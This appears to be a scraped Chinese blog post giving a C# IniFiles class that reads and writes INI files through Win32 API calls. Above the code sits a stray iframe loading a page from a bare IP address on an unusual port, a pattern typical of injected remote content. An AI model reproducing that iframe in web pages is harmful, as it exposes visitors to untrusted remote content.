C#一个Ini操作类

<iframe marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections;
using System.Collections.Specialized;

namespace DataGridEx
{
 /**/
 /// <summary> 
 /// IniFiles的类 
 /// </summary> 
 public class IniFiles
 {
 public string FileName; //INI文件名 
 //声明读写INI文件的API函数 
 [DllImport("kernel32")]
 private static extern bool WritePrivateProfileString(string section, string key, string val, string filePath);
 [DllImport("kernel32")]
 private static extern int GetPrivateProfileString(string section, string key, string def, byte[] retVal, int size, string filePath);
 //类的构造函数，传递INI文件名 
 public IniFiles(string AFileName)
 {
 // 判断文件是否存在 
 FileInfo fileInfo = new FileInfo(AFileName);
 //Todo:搞清枚举的用法 
 if ((!fileInfo.Exists))
 { //|| (FileAttributes.Directory in fileInfo.Attributes)) 
 //文件不存在，建立文件 
 System.IO.StreamWriter sw = new System.IO.StreamWriter(AFileName, false, System.Text.Encoding.Default);
 try
 {
 sw.Write("#表格配置档案");
 sw.Close();
 }
 catch
 {
 throw (new ApplicationException("Ini文件不存在"));
 }
 }
 //必须是完全路径，不能是相对路径 
 FileName = fileInfo.FullName;
 }
 //写INI文件 
 public void WriteString(string Section, string Ident, string Value)
 {
 if (!WritePrivateProfileString(Section, Ident, Value, FileName))
 {
 // Todo:抛出自定义的异常 
 throw (new ApplicationException("写Ini文件出错"));
 }
 }
 //读取INI文件指定 
 public string ReadString(string Section, string Ident, string Default)
 {
 Byte[] Buffer = new Byte[65535];
 int bufLen = GetPrivateProfileString(Section, Ident, Default, Buffer, Buffer.GetUpperBound(0), FileName);
 //必须设定0（系统默认的代码页）的编码方式，否则无法支持中文 
 string s = Encoding.GetEncoding(0).GetString(Buffer);
 s = s.Substring(0, bufLen);
 return s.Trim();
 }

 //读整数 
 public int ReadInteger(string Section, string Ident, int Default)
 {
 string intStr = ReadString(Section, Ident, Convert.ToString(Default));
 try
 {
 return Convert.ToInt32(intStr);
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 return Default;
 }
 }

 //写整数 
 public void WriteInteger(string Section, string Ident, int Value)
 {
 WriteString(Section, Ident, Value.ToString());
 }

 //读布尔 
 public bool ReadBool(string Section, string Ident, bool Default)
 {
 try
 {
 return Convert.ToBoolean(ReadString(Section, Ident, Convert.ToString(Default)));
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 return Default;
 }
 }

 //写Bool 
 public void WriteBool(string Section, string Ident, bool Value)
 {
 WriteString(Section, Ident, Convert.ToString(Value));
 }

 //从Ini文件中，将指定的Section名称中的所有Ident添加到列表中 
 public void ReadSection(string Section, StringCollection Idents)
 {
 Byte[] Buffer = new Byte[16384];
 //Idents.Clear(); 

 int bufLen = GetPrivateProfileString(Section, null, null, Buffer, Buffer.GetUpperBound(0),
 FileName);
 //对Section进行解析 
 GetStringsFromBuffer(Buffer, bufLen, Idents);
 }

 private void GetStringsFromBuffer(Byte[] Buffer, int bufLen, StringCollection Strings)
 {
 Strings.Clear();
 if (bufLen != 0)
 {
 int start = 0;
 for (int i = 0; i < bufLen; i++)
 {
 if ((Buffer[i] == 0) && ((i - start) > 0))
 {
 String s = Encoding.GetEncoding(0).GetString(Buffer, start, i - start);
 Strings.Add(s);
 start = i + 1;
 }
 }
 }
 }
 //从Ini文件中，读取所有的Sections的名称 
 public void ReadSections(StringCollection SectionList)
 {
 //Note:必须得用Bytes来实现，StringBuilder只能取到第一个Section 
 byte[] Buffer = new byte[65535];
 int bufLen = 0;
 bufLen = GetPrivateProfileString(null, null, null, Buffer,
 Buffer.GetUpperBound(0), FileName);
 GetStringsFromBuffer(Buffer, bufLen, SectionList);
 }
 //读取指定的Section的所有Value到列表中 
 public void ReadSectionValues(string Section, NameValueCollection Values)
 {
 StringCollection KeyList = new StringCollection();
 ReadSection(Section, KeyList);
 Values.Clear();
 foreach (string key in KeyList)
 {
 Values.Add(key, ReadString(Section, key, ""));
 }
 }
 //清除某个Section 
 public void EraseSection(string Section)
 {
 // 
 if (!WritePrivateProfileString(Section, null, null, FileName))
 {
 throw (new ApplicationException("无法清除Ini文件中的Section"));
 }
 }
 //删除某个Section下的键 
 public void DeleteKey(string Section, string Ident)
 {
 WritePrivateProfileString(Section, Ident, null, FileName);
 }
 //Note:对于Win9X，来说需要实现UpdateFile方法将缓冲中的数据写入文件 
 //在Win NT, 2000和XP上，都是直接写文件，没有缓冲，所以，无须实现UpdateFile 
 //执行完对Ini文件的修改之后，应该调用本方法更新缓冲区。 
 public void UpdateFile()
 {
 WritePrivateProfileString(null, null, null, FileName);
 }

 //检查某个Section下的某个键值是否存在 
 public bool ValueExists(string Section, string Ident)
 {
 // 
 StringCollection Idents = new StringCollection();
 ReadSection(Section, Idents);
 return Idents.IndexOf(Ident) > -1;
 }

 //确保资源的释放 
 ~IniFiles()
 {
 UpdateFile();
 }
 }
}